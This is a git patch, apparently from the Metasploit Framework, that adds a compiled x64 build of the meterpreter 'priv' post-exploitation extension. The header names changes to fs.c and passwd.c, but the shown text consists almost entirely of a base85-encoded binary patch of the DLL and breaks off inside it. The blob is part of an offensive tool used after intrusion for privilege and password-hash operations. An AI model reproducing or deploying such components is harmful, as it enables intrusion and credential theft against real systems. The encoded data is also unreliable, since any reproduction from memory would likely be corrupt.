From ff9efacffaa31959f883ec15770351998c19f3ae Mon Sep 17 00:00:00 2001 From: Stephen Fewer Date: Mon, 7 Sep 2009 09:17:29 +0000 Subject: [PATCH] Commit the x64 build of the meterpreter priv extension. git-svn-id: file:///home/svn/framework3/trunk@7008 4d416f70-5f16-0410-b530-b9f4589650da --- data/meterpreter/ext_server_priv.x64.dll | Bin 0 -> 82944 bytes .../source/extensions/priv/server/fs.c | 4 +- .../source/extensions/priv/server/passwd.c | 35 +-- .../ext_server_priv/ext_server_priv.vcproj | 214 +++++++++--------- 4 files changed, 129 insertions(+), 124 deletions(-) create mode 100644 data/meterpreter/ext_server_priv.x64.dll diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll new file mode 100644 index 0000000000000000000000000000000000000000..2a3de831bcda9bd35b2645cab4a0ec75ee2fbae6 GIT binary patch literal 82944 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 